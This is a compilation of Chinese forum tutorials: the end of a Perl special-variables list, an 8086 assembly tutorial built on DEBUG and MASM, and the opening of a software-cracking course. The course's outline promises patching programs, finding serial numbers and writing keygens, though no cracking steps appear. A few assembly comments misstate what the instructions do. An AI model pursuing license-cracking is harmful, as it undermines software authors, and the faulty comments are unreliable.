$^T 从新世纪开始算起,脚步本以秒计算的开始运行的时间
$^W 警告开关的当前值
$^X Perl二进制可执行代码的名字
$_ 默认的输入/输出和格式匹配空间
$| 控制对当前选择的输出文件句柄的缓冲
$~ 当前报告格式的名字
$` 在上个格式匹配信息前的字符串
$’ 在上个格式匹配信息后的字符串
$+ 与上个正则表达式搜索格式匹配的最后一个括号
$< 当前执行解释器的用户的真实ID
$<digits> 含有与上个匹配正则表达式对应括号结果
$= 当前页面可打印行的数目
$> 当前进程的有效用户ID
$0 包含正在执行的脚本的文件名
$ARGV 从默认的文件句柄中读取时的当前文件名
%ENV 环境变量列表
%INC 通过do或require包含的文件列表
%SIG 信号列表及其处理方式
@_ 传给子程序的参数列表
@ARGV 传给脚本的命令行参数列表
@INC 在导入模块时需要搜索的目录列表
$-[0]和$+[0] 代表当前匹配的正则表达式在被匹配的字符串中的起始和终止的位置
暂时就写这么多吧，如果大家对哪个特殊变量有疑问或是不懂的话，可以跟贴，我会给出相应的example 。


汇编语言超浓缩教程
信息来源：黑客防线
    “ 哎哟，哥们儿，还捣鼓汇编呢？那东西没用，兄弟用VB"钓"一个API就够你忙活个十天半月的，还不一定搞出来。”此君之言倒也不虚，那吾等还有无必要研他一究呢？（废话，当然有啦！要不然你写这篇文章干嘛。）别急，别急，让我把这个中原委慢慢道来：一、所有电脑语言写出的程序运行时在内存中都以机器码方式存储，机器码可以被比较准确的翻译成汇编语言，这是因为汇编语言兼容性最好，故几乎所有跟踪、调试工具（包括WIN95/98下）都是以汇编示人的，如果阁下对CRACK颇感兴趣……；二、汇编直接与硬件打交道，如果你想搞通程序在执行时在电脑中的来龙去脉，也就是搞清电脑每个组成部分究竟在干什么、究竟怎么干？一个真正的硬件发烧友，不懂这些可不行。三、如今玩DOS的多是“高手”，如能像吾一样混入（我不是高手）“高手”内部，不仅可以从“高手”朋友那儿套些黑客级“机密”，还可以自诩“高手”尽情享受强烈的虚荣感--#$%& “醒醒!”
    对初学者而言，汇编的许多命令太复杂，往往学习很长时间也写不出一个漂漂亮亮的程序，以致妨碍了我们学习汇编的兴趣，不少人就此放弃。所以我个人看法学汇编，不一定要写程序，写程序确实不是汇编的强项，大家不妨玩玩DEBUG，有时CRACK出一个小软件比完成一个程序更有成就感（就像学电脑先玩游戏一样）。某些高深的指令事实上只对有经验的汇编程序员有用，对我们而言，太过高深了。为了使学习汇编语言有个好的开始，你必须要先排除那些华丽复杂的命令，将注意力集中在最重要的几个指令上（CMP LOOP MOV JNZ……）。但是想在啰里吧嗦的教科书中完成上述目标，谈何容易，所以本人整理了这篇超浓缩（用WINZIP、WINRAR…依次压迫，嘿嘿！）教程。大言不惭的说，看通本文，你完全可以“不经意”间在前辈或是后生卖弄一下DEBUG，很有成就感的，试试看！那么――这个接下来呢？―― Here we go！（阅读时看不懂不要紧，下文必有分解）
    因为汇编是通过CPU和内存跟硬件对话的，所以我们不得不先了解一下CPU和内存：（关于数的进制问题在此不提）
    ＣＰＵ是可以执行电脑所有算术╱逻辑运算与基本 I/O 控制功能的一块芯片。一种汇编语言只能用于特定的CPU。也就是说，不同的CPU其汇编语言的指令语法亦不相同。个人电脑由1981年推出至今，其CPU发展过程为：8086→80286→80386→80486→PENTIUM →……，还有AMD、CYRIX等旁支。后面兼容前面CPU的功能，只不过多了些指令（如多能奔腾的MMX指令集）、增大了寄存器（如386的32位EAX）、增多了寄存器（如486的FS）。为确保汇编程序可以适用于各种机型，所以推荐使用8086汇编语言，其兼容性最佳。本文所提均为8086汇编语言。寄存器（Register）是CPU内部的元件，所以在寄存器之间的数据传送非常快。用途：1.可将寄存器内的数据执行算术及逻辑运算。2.存于寄存器内的地址可用来指向内存的某个位置，即寻址。3.可以用来读写数据到电脑的周边设备。8086 有8个8位数据寄存器，这些8位寄存器可分别组成16位寄存器：ＡＨ&ＡＬ＝ＡＸ：累加寄存器，常用于运算；ＢＨ&ＢＬ＝ＢＸ：基址寄存器，常用于地址索引；ＣＨ&ＣＬ＝ＣＸ：计数寄存器，常用于计数；ＤＨ&ＤＬ＝ＤＸ：数据寄存器，常用于数据传递。为了运用所有的内存空间，8086设定了四个段寄存器，专门用来保存段地址：ＣＳ（Code Segment）：代码段寄存器；ＤＳ（Data Segment）：数据段寄存器；ＳＳ（Stack Segment）：堆栈段寄存器；ＥＳ（Extra Segment）：附加段寄存器。当一个程序要执行时，就要决定程序代码、数据和堆栈各要用到内存的哪些位置，通过设定段寄存器 CS，DS，SS 来指向这些起始位置。通常是将DS固定，而根据需要修改CS。所以，程序可以在可寻址空间小于64K的情况下被写成任意大小。 所以，程序和其数据组合起来的大小，限制在DS 所指的64K内，这就是COM文件不得大于64K的原因。8086以内存做为战场，用寄存器做为军事基地，以加速工作。除了前面所提的寄存器外，还有一些特殊功能的寄存器：IP（Intruction Pointer）：指令指针寄存器，与CS配合使用，可跟踪程序的执行过程；SP（Stack Pointer）：堆栈指针，与SS配合使用，可指向目前的堆栈位置。BP（Base Pointer）：基址指针寄存器，可用作SS的一个相对基址位置；SI（Source Index）：源变址寄存器可用来存放相对于DS段之源变址指针；DI（Destination Index）：目的变址寄存器，可用来存放相对于 ES 段之目的变址指针。还有一个标志寄存器FR（Flag Register）,有九个有意义的标志，将在下文用到时详细说明。
    内存是电脑运作中的关键部分，也是电脑在工作中储存信息的地方。内存组织有许多可存放数值的储存位置，叫“地址”。8086地址总线有20位，所以CPU拥有达1M的寻址空间，这也是DOS的有效控制范围，而8086能做的运算仅限于处理16位数据，即只有0到64K，所以，必须用分段寻址才能控制整个内存地址。完整的20位地址可分成两部份：1.段基址(Segment)：16位二进制数后面加上四个二进制０，即一个16进制０，变成20位二进制数，可设定1M中任何一个64K段，通常记做16位二进制数；2.偏移量(Offset)：直接使用16位二进制数，指向段基址中的任何一个地址。如：2222（段基址）:3333（偏移量），其实际的20位地址值为：25553。除了上述营养要充分吸收外，你还要知道什么是DOS、BIOS功能调用，简单的说，功能调用类似于WIN95 API，相当于子程序。汇编写程序已经够要命了，如果不用MS、IBM的子程序，这日子真是没法过了（关于功能调用详见《电脑爱好者》98年11期）。
    编写汇编语言有两种主要的方法：1.使用MASM或TASM等编译器；2.使用除错程序DEBUG.COM。DEBUG其实并不能算是一个编译器，它的主要用途在于除错，即修正汇编程序中的错误。不过，也可以用来写短的汇编程序，尤其对初学者而言，DEBUG 更是最佳的入门工具。因为DEBUG操作容易：只要键入DEBUG回车，A回车即可进行汇编，过程简单，而使用编译器时，必须用到文本编辑器、编译器本身、LINK以及EXE2BIN等程序，其中每一个程序都必须用到一系列相当复杂的命令才能工作，而且用编译器处理源程序，必须加入许多与指令语句无关的指示性语句，以供编译器识别，使用 DEBUG 可以避免一开始就碰到许多难以理解的程序行。DEBUG 除了能够汇编程序之外，还可用来检查和修改内存位置、载入储存和执行程序、以及检查和修改寄存器，换句话说，DEBUG是为了让我们接触硬件而设计的。（8086常用指令用法将在每个汇编程序中讲解，限于篇幅，不可能将所有指令列出）。
    DEBUG的的A命令可以汇编出简单的COM文件，所以DEBUG编写的程序一定要由地址 100h（COM文件要求）开始才合法。FOLLOW ME，SETP BY SETP（步步回车）：
    输入 A100 ； 从DS：100开始汇编
    2.输入 MOV DL,1 ； 将数值 01h 装入 DL 寄存器
    3.输入 MOV AH,2 ； 将数值 02h 装入 DL 寄存器
    4.输入 INT 21 ； 调用DOS 21号中断2号功能，用来逐个显示装入DL的字符
    5.输入 INT 20 ； 调用DOS 20号中断，终止程序，将控制权交回给 DEBUG
    6.请按 Enter 键
    7.现在已将汇编语言程序放入内存中了，输入 G(运行)
    8.出现结果：输出一个符号。
    ㄖ ←输出结果其实不是它，因WORD97无法显示原结果，故找一赝品将就着。
    Program terminated normally
    我们可以用Ｕ命令将十六进制的机器码反汇编（Unassemble）成汇编指令。你将发现每一行右边的汇编指令就是被汇编成相应的机器码，而8086实际上就是以机器码来执行程序。
    1.输入 U100,106
    1FED:0100 B201 MOV DL,01
    1FED:0102 B402 MOV AH,02
    1FED:0104 CD21 INT 21
    1FED:0106 CD20 INT 20
    DEBUG可以用Ｒ命令来查看、改变寄存器内容。CS：IP寄存器，保存了将执行指令地址。
    1.输入R
    AX=0000 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
    DS=1FED ES=1FED SS=1FED CS=1FED IP=0100 NV UP EI PL NZ NA PO NC
    1FED:0100 B201 MOV DL,01
    当程序由DS：100开始执行，那么终止程序时，DEBUG会自动将IP内容重新设定为100。当你要将此程序做成一个独立的可执行文件，则可以用Ｎ命令对该程序命名。但一定要为COM文件，否则无法以DEBUG载入。
    输入N SMILE.COM ；我们得告诉DEBUG程序长度：程序从100开始到106，故占用7
    ；字节。我们利用BX存放长度值高位部分，而以CX存放低位部分。
    2.输入RBX ；查看 BX 寄存器的内容，本程序只有7个字节，故本步可省略
    3.输入 RCX　 ；查看 CX 寄存器的内容
    4.输入 7　 ；程序的字节数
    5.输入 W ；用Ｗ命令将该程序写入（Write）磁盘中
    修行至此，我们便可以真正接触8086汇编指令了。 当我们写汇编语言程序的时候，通常不会直接将机器码放入内存中，而是打入一串助记符号（Mnemonic Symbols），这些符号比十六进制机器码更容易记住，此之谓汇编指令。助记符号，告诉CPU应执行何种运算。 也就是说，助忆符号所构成的汇编语言是为人设计的，而机器语言是对PC设计的。
    现在，我们再来剖析一个可以将所有ASCII码显示出来的程序。
    1. 输入 DEBUG
    2. 输入 A100
    3．输入 MOV CX,0100 ；装入循环次数
    MOV DL,00 ；装入第一个ASCII码，随后每次循环装入新码
    MOV AH,02
    INT 21
    INC DL ；INC：递增指令，每次将数据寄存器 DL 内的数值加 1
    LOOP 0105 ；LOOP：循环指令，每执行一次LOOP，CX值减1，并跳
    ；到循环的起始地址105，直到CX为0，循环停止
    INT 20
    4.输入 G即可显示所有ASCII码
    当我们想任意显示字符串，如：UNDERSTAND？，则可以使用DOS21H号中断9H号功能。输入下行程序，存盘并执行看看：
    1.输入 A100
     MOV DX,109 ；DS:DX ＝ 字符串的起始地址
     MOV AH,9 ；DOS的09h功能调用
    INT 21 ；字符串输出
    INT 20
    DB 'UNDERSTAND？$'；定义字符串
    在汇编语言中，有两种不同的指令：1.正规指令：如 MOV 等，是属于CPU的指令，用来告诉CPU在程序执行时应做些什么，所以它会以运算码（OP-code）的方式存入内存中；2.伪指令：如DB等，是属于DEBUG等编译器的指令，用来告诉编译器在编译时应做些什么。DB（Define Byte）指令用来告诉DEBUG 将单引号内的所有ASCII 码放入内存中。使用 9H 功能的字符串必须以$结尾。用Ｄ命令可用来查看DB伪指令将那些内容放入内存。
    6.输入 D100
    1975:0100 BA 09 01 B4 09 CD 21 CD-20 75 6E 64 65 72 73 74 ......!. underst
    1975:0110 61 6E 64 24 8B 46 F8 89-45 04 8B 46 34 00 64 19 and$.F..E..F4.d.
    1975:0120 89 45 02 33 C0 5E 5F C9-C3 00 C8 04 00 00 57 56 .E.3.^_.......WV
    1975:0130 6B F8 0E 81 C7 FE 53 8B-DF 8B C2 E8 32 FE 0B C0 k.....S.....2...
    1975:0140 74 05 33 C0 99 EB 17 8B-45 0C E8 D4 97 8B F0 89 t.3.....E.......
    1975:0150 56 FE 0B D0 74 EC 8B 45-08 03 C6 8B 56 FE 5E 5F V...t..E....V.^_
    1975:0160 C9 C3 C8 02 00 00 6B D8-0E 81 C3 FE 53 89 5E FE ......k.....S.^.
    1975:0170 8B C2 E8 FB FD 0B C0 75-09 8B 5E FE 8B 47 0C E8 .......u..^..G..
    现在，我们来剖析另一个程序：由键盘输入任意字符串，然后显示出来。db 20指示DEBUG保留20h个未用的内存空间供缓冲区使用。
    输入A100
     MOV DX,0116 ；DS:DX ＝ 缓冲区地址，由DB伪指令确定缓冲区地址
    MOV AH,0A ；0Ah 号功能调用
    INT 21 ；键盘输入缓冲区
    MOV DL,0A ；由于功能Ah在每个字符串最后加一个归位码（0Dh由 Enter
    MOV AH,02 ；产生），使光标自动回到输入行的最前端，为了使新输出的
    INT 21 ；字符串不会盖掉原来输入的字符串，所以利用功能2h加一
    ；个换行码(OAh)，使得光标移到下一行的的最前端。
    MOV DX,0118 ；装入字符串的起始位置
    MOV AH,09 ；9h功能遇到$符号才会停止输出，故字符串最后必须加上
    INT 21 ；$，否则9h功能会继续将内存中的无用数据胡乱显示出来
    INT 20
    DB 20 ；定义缓冲区
    送你一句话：学汇编切忌心浮气燥。
    客套话就不讲了。工欲善其事，必先利其器。与其说DEBUG 是编译器，倒不如说它是“直译器”，DEBUG的A命令只可将一行汇编指令转成机器语言，且立刻执行。真正编译器（MASM）的运作是利用文本编辑器（EDIT等）将汇编指令建成一个独立且附加名为.ASM的文本文件，称源程序。它是MASM 程序的输入部分。MASM将输入的ASM文件，编译成.OBJ文件，称为目标程序。OBJ文件仅包含有关程序各部份要载入何处及如何与其他程序合并的信息，无法直接载入内存执行。链结程序LINK则可将OBJ文件转换成可载入内存执行（EXEcute）的EXE文件。还可以用EXE2BIN，将符合条件的EXE文件转成COM文件（COM 文件不但占用的内存最少，而且运行速度最快）。
    下面我们用MASM写一个与用DEBUG写的第一个程序功能一样的程序。
    用EDIT编辑一个SMILE.ASM的源程序文件。
    源程序 DEBUG 程序
    prognam segment
    assume cs:prognam
    org 100h A100
    mov dl,1 mov dl,1
    mov ah,2 mov ah,2
    int 21h int 21
    int 20h int 20
    prognam ends
    end
    比较一下：1.因为MASM会将所有的数值假设为十进制，而DEBUG则只使用十六进制，所以在源程序中，我们必须在有关数字后加上代表进制的字母，如H代表十六进制，D代表十进制。若是以字母开头的十六进制数字，还必须在字母前加个0，以表示它是数，如0AH。2.源程序增加五行叙述：prognam segment 与 prognam ends 是成对的，用来告诉 MASM 及LINK，此程序将放在一个称为PROGNAM(PROGram NAMe)的程序段内，其中段名（PROGNAM）可以任取，但其位置必须固定。assume cs:prognam 必须在程序的开头，用来告诉编译器此程序所在段的位置放在CS寄存器中。end用来告诉MASM，程序到此结束, ORG 100H作用相当于DEBUG的A100，从偏移量100开始汇编。COM 文件的所有源程序都必须包含这五行，且必须依相同的次序及位置出现，这点东西记下就行，千篇一律。接着，我们用MASM编译SMILE.ASM。
    输入 MASM SMILE ←不用打入附加名.ASM。
    Microsoft (R) Macro Assembler Version 5.10
    Copyright (C) Microsoft Corp 1981, 1988. All rights reserved.
    Object filename [SMILE.OBJ]: ←是否改动输出OBJ文件名，如不改就ENTER
    Source listing [NUL.LST]: ← 是否需要列表文件（LST），不需要就ENTER
    Cross-reference [NUL.CRF]: ←是否需要对照文件（CRF），不需要则ENTER
    50162 + 403867 Bytes symbol space free
    0 Warning Errors ←警告错误，表示编译器对某些语句不理解，通常是输入错误。
    0 Severe Errors ←严重错误，会造成程序无法执行，通常是语法结构错误。
    如果没有一个错误存在，即可生成OBJ文件。OBJ中包含的是编译后的二进制结果，它还无法被 DOS载入内存中加以执行，必须加以链结（Linking）。以LINK将OBJ文件（SMILE.OBJ）链结成 EXE 文件（SMILE.EXE）时，。
    1.输入 LINK SMILE ←不用附加名OBJ
    Microsoft (R) Overlay Linker Version 3.64
    Copyright (C) Microsoft Corp 1981, 1988. All rights reserved.
    Run File [SMILE.EXE]: ← 是否改动输出EXE文件名，如不改就ENTER
    List File [NUL.MAP]: ← 是否需要列表文件（MAP），不需要则ENTER
    Libraries [.LIB]: ←是否需要库文件，要就键入文件名，不要则ENTER
    LINK : warning L4021: no stack segment← 由于COM文件不使用堆栈段，所以错误信息
    ←"no stack segment"并不影响程序正常执行
    至此已经生成EXE文件，我们还须使用EXE2BIN 将EXE文件（SMILE.EXE），转换成COM文件（SMILE.COM）。输入EXE2BIN SMILE产生 BIN 文件（SMILE.BIN）。其实 BIN 文件与 COM 文件是完全相同的，但由于DOS只认COM、EXE及BAT文件，所以BIN文件无法被正确执行，改名或直接输入 EXE2BIN SMILE SMILE.COM即可。现在，磁盘上应该有 SMILE.COM 文件了，你只要在提示符号C：>下，直接输入文件名称 SMILE ，就可以执行这个程序了。
    你是否觉得用编译器产生程序的方法，比 DEBUG 麻烦多了！以小程序而言，的确是如此，但对于较大的程序，你就会发现其优点了。我们再将ASCII程序以编译器方式再做一次，看看有无差异。首先，用EDIT.COM建立 ASCII.ASM 文件。
    prognam segment ;定义段
    assume cs:prognam ;把上面定义段的段基址放入 CS
    mov cx,100h ; 装入循环次数
    mov dl,0 ; 装入第一个ASCII码，随后每次循环装入新码
    next: mov ah,2
     int 21h
     inc dl ;INC：递增指令，每次将数据寄存器 DL 内的数值加 1
    loop next ; 循环指令，执行一次，CX减1，直到CX为0，循环停止
    int 20h
     prognam ends ;段终止
    end ;汇编终止
    在汇编语言的源程序中，每一个程序行都包含三项元素：
       start: mov dl,1 ；装入第一个ASCII码，随后每次循环装入新码
       标识符 表达式 注解
    在原始文件中加上注解可使程序更易理解，便于以后参考。每行注解以“；”与程序行分离。编译器对注解不予理会，注解的数据不会出现在OBJ、EXE或COM文件中。由于我们在写源程序时，并不知道每一程序行的地址，所以必须以符号名称来代表相对地址，称为“标识符”。我们通常在适当行的适当位置上，键入标识符。标识符（label）最长可达31 个字节，因此我们在程序中，尽量以简洁的文字做为标识符。现在，你可以将此ASCII.ASM 文件编译成 ASCII.COM 了。1.MASM ASCII，2.LINK ASCII，3.EXE2BIN ASCII ASCII.COM。
    注意：当你以编译器汇编你设计的程序时，常会发生打字错误、标识符名称拼错、十六进制数少了ｈ、逻辑错误等。汇编老手常给新人的忠告是：最好料到自己所写的程序一定会有些错误（别人告诉我的）；如果第一次执行程序后，就得到期望的结果，你最好还是在检查一遍，因为它可能是错的。原则上，只要大体的逻辑架构正确，查找程序中错误的过程，与写程序本身相比甚至更有意思。写大程序时，最好能分成许多模块，如此可使程序本身的目的较单纯，易于撰写与查错，另外也可让程序中不同部份之间的界限较清楚，节省编译的时间。如果读程序有读不懂的地方最好用纸笔记下有关寄存器、内存等内容，在纸上慢慢比划，就豁然开朗了。
    下面我们将写一个能从键盘取得一个十进制的数值，并将其转换成十六进制数值而显示于屏幕上的“大程序”。前言：要让8086执行这样的功能，我们必须先将此问题分解成一连串的步骤，称为程序规划。首先，以流程图的方式，来确保整个程序在逻辑上没有问题（不用说了吧！什么语言都要有此步骤）。这种模块化的规划方式，称之为“由上而下的程序规划”。而在真正写程序时，却是从最小的单位模块（子程序）开始，当每个模块都完成之后，再合并成大程序；这种大处著眼，小处著手的方式称为“由下而上的程序设计”。
    我们的第一个模块是BINIHEX，其主要用途是从8086的BX寄存器中取出二进制数，并以十六进制方式显示在屏幕上。注意：子程序如不能独立运行，实属正常。
     binihex segment
     assume cs:binihex
    mov ch,4 ;记录转换后的十六进制位数（四位）
    rotate: mov cl,4 ;利用CL当计数器，记录寄存器数位移动次数
    rol bx,cl ;循环寄存器BX的内容，以便依序处理4个十六进制数
    mov al,bl ;把bx低八位bl内数据转移至al
    and al,0fh ;把无用位清零
    add al,30h ;把AL内数据加30H，并存入al
    cmp al,3ah ;与3ah比较
    jl printit ;小于3ah则转移
    add al,7h ;把AL内数据加30H，并存入al
    printit:mov dl,al ;把ASCII码装入DL
    mov ah,2
     int 21h
     dec ch ;ch减一，减到零时，零标志置1
    jnz rotate ;JNZ：当零标志未置1，则跳到指定地址。即：不等，则转移
    int 20h ;从子程序退回主程序
    binihex ends
     end
    利用循环左移指令ROL循环寄存器BX(BX内容将由第二个子程序提供)的内容，以便依序处理4个十六进制数:1. 利用CL当计数器，记录寄存器移位的次数。2.将BX的第一个十六进制值移到最右边。利用 AND （逻辑“与”运算：对应位都为１时，其结果为１，其余情况为零）把不要的部份清零，得到结果：先将BL值存入AL中，再利用AND以0Fh（00001111）将AL的左边四位清零。由于０到９的ASCII码为30h到39h，而Ａ到Ｆ之ASCII码为41h到46h，间断了7h，所以得到结果：若AL之内容小于3Ah，则AL值只加30h，否则AL再加7h。ADD指令会将两个表达式相加，其结果存于左边表达式内。标志寄存器（Flag Register）是一个单独的十六位寄存器，有9个标志位，某些汇编指令（大部份是涉及比较、算术或逻辑运算的指令）执行时，会将相关标志位置1或清0， 常碰到的标志位有零标志（ZF）、符号标志（SF）、溢出标志（OF）和进位标志（CF）。 标志位保存了某个指令执行后对它的影响，可用其他相关指令，查出标志的状态，根据状态产生动作。CMP指令很像减法，是将两个表达式的值相减，但寄存器或内存的内容并未改变，只是相对的标志位发生改变而已：若 AL 值小于 3Ah，则正负号标志位会置0，反之则置1。 JL指令可解释为：小于就转移到指定位置，大于、等于则向下执行。CMP和JG 、JL等条件转移指令一起使用，可以形成程序的分支结构，是写汇编程序常用技巧。
    第二个模块DECIBIN 用来接收键盘打入的十进制数，并将它转换成二进制数放于BX 寄存器中，供模块1 BINIHEX使用。
    decibin segment
    assume cs:decibin
    mov bx,0 ;BX清零
    newchar:mov ah,1 ;
    int 21h ;读一个键盘输入符号入al，并显示
    sub al,30h ;al减去30H，结果存于al中，完成ASCII码转二进制码
    jl exit ;小于零则转移
    cmp al,9d
     jg exit ;左>右则转移
    cbw ;8位al转换成16位ax
    xchg ax,bx ;互换ax和bx内数据
    mov cx,10d ;十进制数10入cx
    mul cx ;表达式的值与ax内容相乘，并将结果存于ax
    xchg ax,bx
     add bx,ax
     jmp newchar ;无条件转移
    exit: int 20 ;回主程序
    decibin ends
     end
    CBW 实际结果是:若AL中的值为正，则AH填入00h；反之，则AH填入FFh。XCHG常用于需要暂时保留某个寄存器中的内容时。
    当然，还得一个子程序（CRLF）使后显示的十六进制数不会盖掉先输入的十进制数。
    crlf segment
    assume cs:crlf
    mov dl,0dh ;回车的ASCII码0DH入DL
    mov ah,2
     int 21h
     mov dl,0ah ;换行的ASSII码0AH入AH
    mov ah,2
     int 21h
     int 20 ;回主程序
    crlf ends
    end
    现在我们就可以将BINIHEX、DECIBIN及CRLF等模块合并成一个大程序了。首先，我们要将这三个模块子程序略加改动。然后，再写一段程序来调用每一个子程序。
    crlf proc near；
    mov dl,0dh
    mov ah,2
    int 21h
    mov dl,0ah
    mov ah,2
    int 21h
    ret
    crlf endp
    类似SEGMENT与ENDS的伪指令，PROC与ENDP也是成对出现，用来识别并定义一个程序。其实，PROC 真正的作用只是告诉编译器：所调用的程序是属于近程（NEAR）或远程（FAR）。 一般的程序是由 DEBUG 直接调用的，所以用 INT 20 返回，用 CALL 指令所调用的程序则改用返回指令RET,RET会把控制权转移到栈顶所指的地址，而该地址是由调用此程序的 CALL指令所放入的。
    各模块都搞定了，然后我们把子程序组合起来就大功告成
    decihex segment ;主程序
    assume cs:decihex
    org 100h
    mov cx,4 ;循环次数入cx；由于子程序要用到cx，故子程序要将cx入栈
    repeat: call decibin;调用十进制转二进制子程序
    call crlf ;调用添加回、换行符子程序
    call binihex ;调用二进制转十六进制并显示子程序
    call crlf
    loop repeat ;循环4次，可连续运算4次
    mov ah,4ch ; 调用DOS21号中断4c号功能，退出程序，作用跟INT 20H
    int 21H ; 一样，但适用面更广，INT20H退不出时，试一下它
    decibin proc near push cx ;将cx压入堆栈，;
    ┇ exit: pop cx ;将cx还原; retdecibin endp binihex proc near push cx
    ┇ pop cx retbinihex endp crlf proc near
     push cx
    ┇ pop cx retcrlf endpdecihex ends end
    CALL指令用来调用子程序，并将控制权转移到子程序地址，同时将CALL的下行一指令地址定为返回地址，并压入堆栈中。CALL 可分为近程（NEAR）及远程（FAR）两种：1.NEAR：IP的内容被压入堆栈中，用于程序与程序在同一段中。2.FAR：CS 、IP寄存器的内容依次压入堆栈中,用于程序与程序在不同段中。PUSH、POP又是一对指令用于将寄存器内容压入、弹出，用来保护寄存器数据，子程序调用中运用较多。堆栈指针有个“后进先出”原则，像PUSH AX，PUSH BX…POP BX，POP AX这样才能作到保护数据丝毫不差。
    汇编语言超浓缩教程到这要告一段落了，希望能奠定你独立设计的基础。而更多更好的技巧则全依赖你平时的积累了。祝你成功！


破解基础知识汇编
信息来源：邪恶八进制信息安全团队（http://www.eviloctal.com/）
第一章--前言
好多哥们儿说看教程跟的书都看不太明白，所以，我尽量把话说到最容易理解的份上，本文写给那些刚入门和尚未入门的朋友们...
目录
no.1------------------前言（说明一下）
no.2------------------汇编语言
no.3------------------Windows程序
no.4------------------调试器及相关工具入门
no.5------------------破解原理
no.6------------------初级破解实践，强暴一个软件
no.7------------------中级破解实践，找到注册码及写内存注册机
no.8------------------高级破解实践，分析软件算法，编写注册机
由于现在网吧，临时写来，所以，今天只写个前言吧，呵呵...
本章只作一些说明，现在也说了这么多了，没别的了，卖个广告，推荐几本书吧。
首先，力荐看雪《加密与解密－－软件保护技术及完全解决方案》，绝对物超所值，要的抢先了...(汗~~俺都没看过，看来要落伍了)。当然，还有看雪精华一、二、三、四以及将要出来的五，足够带你上路，还有风飘雪大虾的《风飘雪破解教程》等等等等（其它一些，没说到的就请自行搜集吧），还有就是常到论坛来转转 ;=》
另外，我觉的你真的很有必要学一门编程语言以及掌握一些Win32程序的知识...

课后FAQ
Q:哪些人可以学习破解？
A:任何会启动电脑并运行软件同时又习破解的人。我说的全是实话，如果你既不会启动电脑又不会运行软件，那么我教你一个更高深的吧--破解电脑，呵呵，很简单，到大街上随便抡个板砖什么的，回去慢慢破解吧 (记得关电源)
Q:有没有什么办法可以使我快速入门并成为？
A:有。但你得是个MM(P不PL无所谓)，然后找个离你家最近的破解达人，什么也不用做，眨个眼放个电之类的会吧（现在连初中的小女生都会这个），然后就成了，呵呵，想破什么的话，让帮忙吧，到时说成是自己破的就成了 MM问为什么？因为那些大都奇丑无比，呵呵，有了头脑就没了长相，男的也是这样，而且越是，长的就是越丑。据说一次市里到CCG考察奶牛们的出乳情况，看到大哥Sun某的时候，说了句“这奶牛个儿这么小啊，中午大家吃涮锅” (众大哥:大家准备好家伙，我们一会儿要去械斗)。呵呵，玩笑开到这里，其实我说这么多，只是想告诉你，学习破解跟其它技术一样，请你不要试图投机取巧，要，就脚踏实地，多看教程多动手实践积累经验，不要经常POSE那种弱智问题“我不懂XX，请问我能学破解吗？”，答案是不能，你问的同时，不也正在学吗？想知道重要吗？那我告诉你好了，凡是看雪教程上要求掌握的，你全要掌握，这还不算，要想成为就必须精通，如果你不想一直只停留在入门阶段的话。不要想偷机取巧，谁一开始也不是什么都会的，但你只要花一些时间和一小部分精力，那么没有什么你学不会的，知识是要积累的，你知道自己不会却不去学，而在那儿问重不重要，人家会觉的你这个人并不想认真学破解，而是报有侥幸心理在浪费时间，请不要做浪费时间的人。不要刚开始学就想马上成为，没有，你没必要立下超越的目标，只把学知识放在首位就够了，欲速则不达，请不要做急于求成的人。
Q:学破解对我来说有什么好处？
A:这个问题应该你自己来回答，呵呵，你为什么要学？“我想使用共享软件”倒...那多少也算是个目的，但我希望你不要只报这种目的(目前国内共享软件业还有待发展)。我只是想说给那些只是因为一时冲动才学习破解的人，请将你们当初的冲动继续维持下去，你需要明白，学习破解的目的不只在于破解软件这个词，也许后来你会变为软件分析，随着学习时间的增加，对你的编程水平，相信会有相当大的提高。学习别人好的思想，并化为已用 就我个人来说，学习破解可以把我的汇编的基础给打好，呵呵，俺对操作系统这玩意儿感兴趣，到时候还想写出来个玩玩儿呢，所以汇编这关必须要过....
Q:我很笨，那些大虾的教程我大都看不明白，我能学会吗？
A:永远不要说你笨，你只是学的比人家晚而已，太高深的看不懂，那你就捡能看懂的看，别人能入门，你也能，不得要领只是暂时，大虾与你，也许差的就是一两年时间的问题。
——————————
第二章--汇编语言 （修订版）
稍微有点儿计算机知识的朋友一定知道，计算机是只识别0和1的，最初那会儿，要写程序，就要用0和1来写，呵呵，Cool吧！所以曾经有过的对程序员的崇拜，可能就源自那个时候吧 后来，人们发现用0和1来写程序，太不爽了，不但写起来不上手，而且回过头来看的话，应该很难再看明白了，总之出于这些原因，就有了汇编语言。
汇编语言用一些助记符来代替0和1的多种组合，也就是各个指令，这样的话，从一定程度上来说，方便了许多（一头老牛：方便太多了）（一只：一点儿也不方便，完全看不懂）。但是，汇编也同样不方便，同样写起来不爽，而且后期维护同样不方便，再加上人们慢慢地需要写一些更大的程序，在这样的情况下，高级语言就被人发明了出来，就是我们今天用的Basic、pascal、C、C++等等等等，这些语言的出现，一下了使程序的开发难度大大减低了（一头老牛：减低太多了，我膝盖就能写程序了）（一只：还不是一样难），以前用汇编要很长时间才能开发出来的程序，现在只需要很短的时间且很轻松的就可以搞定了，特别是最近几年，可视化编程的大肆普及，使程序员的神秘感一下子摔了下来，Coder这样的词现在都满天飞了。最惨的就是汇编，一夜之间变成了低级语言、下流的语言、吃完大蒜不牙的民工、开车加完油不给钱的地痞、在公共汽车上吐口水的冰岛人等等等等
（汇编：呜呜呜…我不活了）。
但是汇编还是有它先天的优势的，因为其与CPU内部的指令一一对应，所以在一些特殊的场合，必须由汇编来实现，比如访问硬件的端口、写病毒….
而且生成的可执行文件效率巨高，且生成的可执行文件贼小，写小程序是很爽的，呵呵，而且用汇编写注册机，是件很轻松的事，你不用再为怎样还原为你所熟悉的语言而为难。说了这么多，还是切入主题吧（昏倒观众若干）：
既然计算机只识别0和1，那么，所有存储在计算机上的文件，也都是以二进制的形式存放的，当然也包括可执行文件了。
所以，你只要找一个十六进制编辑器比如Ultra Edit什么的，就可直接打开并查看可执行文件了，呵呵，如果你能看懂的话 你会发现，此时看到的，全是些十六进制数值（每4位二进制数可转换为一位十六进制数），这就是可执行文件的具体内容，当然，其中就包括可执行文件的代码了。（一头老牛：好亲切啊）（一只：笨牛，你给我闭嘴，我眼都花了）。
呵呵，此时，你是不是觉得看这些东西，有些那个？
这些东西看起来就像有字天书，没人能靠这玩意儿来进行分析，于是乎。就有了相应的软件，可以将这些十六进制数值转换为相应的汇编代码，这样的话，我们就可以对别人的软件进行分析了。这就是所谓的逆向分析了。
